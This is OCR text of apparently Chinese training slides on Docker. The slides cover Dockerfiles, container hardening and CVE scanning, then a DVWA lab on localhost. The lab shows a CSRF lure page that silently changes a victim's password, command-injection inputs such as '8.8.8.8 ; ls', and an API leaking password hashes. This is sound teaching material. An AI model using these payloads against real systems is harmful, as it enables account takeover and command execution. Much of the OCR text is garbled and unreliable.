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What is Docker

1. A Go sBEEBNHEERXR

2. IritA R LRFBHF o
3. EA#ELUL : https://www.docker.com

4. Docker Desktop T E#ELL
https://www.docker.com/products/docker-desktop/
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What is Docker

FROM python:3.11

WORKDIR /app

1. Dockerfile
2.

3.

COPY . .

RUN pip 1install -r requirements.txt

EXPOSE 5000

CMD ["python", "app.py"]
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What is Docker

version: "3.8"

services:
:L. web:
oulld: .
2. docker-compose.yaml orts:
- "5000:5000"
23. volumes:

- whisper_data:/app
db:
1mage: postgres:15..
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Why Docker

T B AR S e
FH—ERIE S FEREEEE 3K Minecraft Server |

docker run -d -1t -p 25565:25565 -e EULA=TRUE 1tzg/minecraft-server


https://docker-minecraft-server.readthedocs.io
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Why Docker

CIBNPSES= Enises o =132

178 S RLEEFE2R n8n

docker volume create n8n_data
docker run -1t --rm —--name n8n -p 5678:5678 -v n8n_data:/home/
node/.n8n docker.n8n.10/n8n10/n8n


https://docs.n8n.io/
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Cybersecurity Problem

AREBFZE Dockerfile, (BEELZELEI Dockerfile Al
A EANER

1. /S 8IZ LTS(Long-term support)

FROM node FROM node:22 FROM node:22.15.0
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Cybersecurity Problem

2. AETE Container {8 root user

docker run <image> docker run --user 3000 <image>
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Cybersecurity Problem

3. PR%l container REEYZE

docker run --cap-drop ALL <image>
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Cybersecurity Problem

4. 2 read only 23U container 2R

docker run --read-only <image>
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Cybersecurity Problem

5. Docker Scout #&{#1%5:8] CVE ;:FBIThEE

TAG
3.7.17-alpine3.18 .
: docker pull python:3.7.17-alpine3.18 | Copy
Last pushed over 1 year by coijanky
Digest OS/ARCH ‘e] Vulnerabilities Compressed size ()
7e8d3db08dfd linux/386 4 0 0 16.93 MB
ebda3eef9bbb4 linux/amd64 4 (0] 0 16.99 MB
. . 16.37 MB

+4 more.. docker scout cves <image>
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Cybersecurity Problem

5. Docker Scout $E{#%:8] CVE JRFBYINEE

m ~ docker scout cves messageboard-app

i New version 1.17.1 available (installed version is 1.17.0) at https://github.com/docker/scout-cli
v SBOM of image already cached, 50 packages indexed

X Detected 2 vulnerable packages with a total of 5 vulnerabilities

fiit Overview

Analyzed Image

Target messageboard-app:latest
digest c4df904a4tbb
platform linux/amd64
vulnerabilities 1E oL
size 15 MB

packages 50
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Cybersecurity Problem

5. Docker Scout #&{#1%5:8] CVE ;:FBIThEE

it## Packages and Vulnerabilities

1€ oM oL golang.org/x/crypto 0.28.0 ﬁﬁ%ﬂ%ﬁ{#j{%ﬁﬁﬁfﬁfﬁ

pkg:golang/golang.org/x/crypton®.28.0

X CRITICAL CVE-2024-45337 .
https://scout.docker.com/v/CVE-2024-45337

Affected range : <0.31.0

Fixed version : 0.31.0
CVSS Score : 0.1
CVSS Vector : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

x HIGH CVE-2025-22869
https://scout.docker.com/v/CVE-2025-22869

Affected range : <0.35.0
Fixed version : 0.35.0
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How to use Docker
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docker
docker
docker
docker
docker
docker
docker
docker

image 1s

ofS

ps -a

run <image>

>

run -p <F#port>:<A2iport> <image>

stop <container_1id>
start <container_1id>
rm <container_1id>
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RBIRAP wos Tacoe I patrership Find the detailed version of this roadmap
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with Sid Palas. Checkout his free ,
along with resources and other roadmaps

https://roadmap.sh

course covering this topic in depth.

Kubernetes Roadmap
DevOps Roadmap

Backend Roadmap
What are Cr

Package Managers

Users / Groups Permissions
Shell commands

Shell scripting

LT A—— Underlying Technologies
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Docker - FH Docker FS@is

Running DVWA with Docker

1. &K digininja/DVWA %
a. Hix— (BGit) ! EB—EERK, £EEERA Git Clone EREXRE|HEX T
git clone https://github.com/digininja/DVWA.git
b. FEZ (£ Git) : https://sithub.com/digininja/DVWA?tab=readme-ov-
file#download EFEEEHLLE, SE EMNERMEIERIUE,. SEIFEENE

Download

While there are various versions of DVWA around, the only supported version is the latest source from the official
GitHub repository. You can either clone it from the repo:

git clone https://github.com/digininja/DVHA.git [_Lr_l



https://github.com/digininja/DVWA?tab=readme-ov-file#download
https://github.com/digininja/DVWA?tab=readme-ov-file#download
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Running DVWA with Docker

C L) > TFT# > DVWA-master >

. = ——
2. ﬂa Term|na|. EIJE/(T_ %}E—FO 0 ED U Nax- =sga-
27 sxESM B K
e
BB DVWA-master 2025/5/13 £ 01:09 MEHNE |

X © ED 1]

a. FMERSHGEE, AExBER, % wn mwes me

- BHEX Enter
1§ Open N Termlnalo EFES BB
i O ERREmE
5 SRR
STRBIB —s2g
i -

b. F728 Open in Terminal, B
RERRE, ARBREX
Terminal, cd <E&IE>

& BARE({hERE
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Running DVWA with Docker

3. BAED :
docker compose up -d

4. ¥TRAA AL FL PT AR 9a 5T DVWA i, ¥8a% port & 4280
https://127.0.0.1:4280

m DWA  oJmaster JEB docker compose up -d
[+] Running 29/29

v/ db Pulled 41.4s
v dvwa Pulled n O 65.0s
[+] Running 4/4 *Fﬁ 2 ﬁﬁ:‘i’ glgt& DB EEI?EFH ?%

v Network dvwa dvwa Created - 0.1s
v Volume "dvwa dvwa" Created 0.0s
v/ Contalner dvwa-db-1 Started Q.45

+ Contalner dvwa-dvwa-1 Started @.5s
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Running DVWA with Docker

P
DVWA

U
admin ?E%QIFE%LE‘, . admin

- JHERE S . password

| Login |
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CSRF (Low) e

New password:

1234

Confirm new password:
1234

2 {85 URL

http://127.0.0.1:4280/vulnerabilities/csrf/?
password_new=1234&password_conf=12345Change=Change
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© 0o N OO 1 A W N K

L I e e T T e
© N0 D WNKHOO

19
pAC)
21
22
PAC)
24
25

<!DOCTYPE html>
<html lang="zh-Hant"> - '
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />

<title>HRE(RPET || I </title> Haﬁﬁﬁﬁ
<script src="https://cdn.jsdelivr.net/npm/@tailwindcss/browser@4"></script>
</head>

<body class="bg-red-100 min-h-screen flex items-center justify-center'">
<div class="bg-white rounded-1lg shadow-1lg p-8 max-w-md w—-full'">
<div class="text-center mb-4">

<hl class="text-2x1 font-bold text-red-600">#S=Z{RH#ET ! | | </h1>
<p class="text-gray-500">%%%if, i7%|EE—7 iPhone 87 Pro</p>
</div>
<div class="flex justify-center">
<button

onclick="window.location.href="http://127.0.0.1:4280/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change'"
class="bg-red-500 hover:bg-red-600 text-white font-bold py-2 px-4 rounded cursor-pointer transition duration-300 ease-in-out transform
hover:scale-105">
AR ESRm
</button>
</div>
</div>

3 BE—EEZE AR
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CSRF (Low)

1 <button

pi onclick="window.location.href="'http://127.0.0.1:4280/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change'"

3 class="bg-red-500 hover:bg-red-600 text-white font-bold py-2 px-4 rounded cursor-pointer transition duration-300 ease-in-out transform hover:scale-105">
4 ERESEM.

5 </button>
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@ O D
Command Injection (Low)
( isset( $ POST[ 'Submit' ]
$tar~éet .:._‘_'E_-F-'.EQ_L.IEST[ s 7 S W|ndO\/\/S
i'F{:.E'tr‘.iEtr"'l:: php_uu;amef:: & & , '1-'-Jir'|r_;1r::-1-..l5 HT'. y 44 8.8.8.8 § dir

$target ):

$cmd = shell exec( 'ping

L INUX

shell exec( 'ping

8.8.8.8 ; Lls

md </pre>";




o)

Command Injection (Medium)

$substitutions = array(
12_51: g A0
LS —y

.
1 0

Tl Windows

8.8.8.8 & dir

$target = str replace( array keys( $substitutions ), $subst

if({ stristr{ php uname( 's' ), "Windows NT' ) ) { L_W]
INUX

$cmd shell exec( 'ping ' . $target );
8.8.8.8 | 1s

1

shell exec( "ping -c 4



Command Injection (High)

$substitutions = array(

-. |
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O # .

L INUX
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WENE—T APIEERERNE) R

AR API (FEARERNE) B—EEEBE, Eriiw (FRAENE) eREin
({ABR2s) FEKEFTINEE, FIINEEEREEF. IRXKREDNG ARG, BlimE
HEEK, BisbFER, B REILE ISON - by ChatGPT

API 1EF2EEF, BEH | BEBMRAETES https://example.com/api/v2/login
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PR TR Network B E3RIRMEBE B MER 1 user, RATRIRFETEMU API

http://127.0.0.1:4280/vulnerabilities/api/v2/user/
i RX - http://127.0.0.1:4280/vulnerabilities/api/v1l/user/ B ERIEaH

Name A  Headers Preview Response Initiator Timing Cookies

=l ap/ ¥ General

main.css | Request URL: http://127.0.0.1:4280/vulnerabilities/api/v2/user/
B Cvwabages Request Method: GET

= logo.png Status Code: ® 200 0K

% theme-light-dark.png Remote Address: 127.0.0.1:4280

(2] add_event listeners.js Referrer Policy: strict-origin-when-cross-origin

0¥ user/



API Security (Low)

fA g —EwaERBIEREEN

E1LHERR
[
1
"id": 1,
"name”: "tony",
"level™: 8,
"password”: "1c8bTe8f801d79745c4631d09TT36c82aal7fcdccedtc946683d7b336b636G32"
¥s
i
“id®: 2,
"name”: "morph",
"level™: 1,
"password”: "e5326bad3591f77c2623244acb@Atbac35cddfcaidilebecccdt9b734e5b1dT90a8™
¥s
1
“id™: 3,
“"name™: "chas",
"level™: 1,
"password"”: "aB89237fcl1f9dd8d424d8b8b98b898dbc4a817btde59at17c39debccdaldc2lde™
}
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